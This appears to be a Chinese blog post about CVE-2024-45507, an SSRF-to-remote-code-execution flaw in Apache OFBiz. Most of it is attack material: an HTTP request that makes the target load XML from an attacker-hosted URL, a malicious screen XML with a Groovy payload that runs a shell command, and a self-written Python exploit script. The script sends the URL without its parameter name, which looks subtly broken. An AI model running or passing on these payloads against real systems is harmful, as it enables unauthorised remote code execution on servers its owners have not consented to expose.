CVE-2024-45507
前言
漏洞名称:Apache OFBiz SSRF to RCE
漏洞影响:version < 18.12.16
CVE:CVE-2024-45507
漏洞描述
该漏洞利用了 Apache OFBiz 中的 SSRF 漏洞,攻击者可以通过特定的 URL 请求,诱使服务器加载并执行恶意的 XML 文件,从而实现远程代码执行。漏洞的触发路径包括/webtools/control/main/findTemporalExpression和webtools/control/forgotPassword/findTemporalExpression 等
漏洞利用
攻击者可以构造如下请求来利用该漏洞:
| 12
 3
 4
 5
 
 | POST /webtools/control/main/findTemporalExpression HTTP/1.1Host: 目标IP:8443
 Content-Type: application/x-www-form-urlencoded
 
 tempExprDecoratorLocation=http://攻击者IP/恶意文件.xml
 
 | 
恶意 XML 文件内容示例:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | <?xml version="1.0" encoding="UTF-8"?>
 <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 
 xmlns="http://ofbiz.apache.org/Widget-Screen"
 
 xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
 
 <screen name="StatsDecorator">
 
 <section>
 
 <actions>
 
 <set field="headerItem" value="${groovy:throw new Exception('ls'.execute().text);}" />
 
 </actions>
 
 </section>
 
 </screen>
 
 </screens>
 
 | 
通过上述请求,服务器会加载并执行恶意 XML 文件中的代码,从而实现远程代码执行
自己写的poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | import requestsprint("CVE-2024-45507 Apache ofiz远程代码执行漏洞EXP")
 print("首先需要一台公网服务器放置恶意xml文件")
 tempExprDecoratorLocation=input("请输入恶意xml文件的url:")
 url = input("请输入目标url:")
 def poc(url,tempExprDecoratorLocation):
 url = url + "//webtools//control//main//findTemporalExpression"
 headers1 = {
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0"
 }
 data = tempExprDecoratorLocation
 response = requests.post(url,headers=headers1,data=data)
 if response.status_code == 200:
 print("漏洞利用成功")
 print(response.text)
 else:
 print("利用失败")
 if __name__ == "__main__":
 poc(url,tempExprDecoratorLocation)
 
 |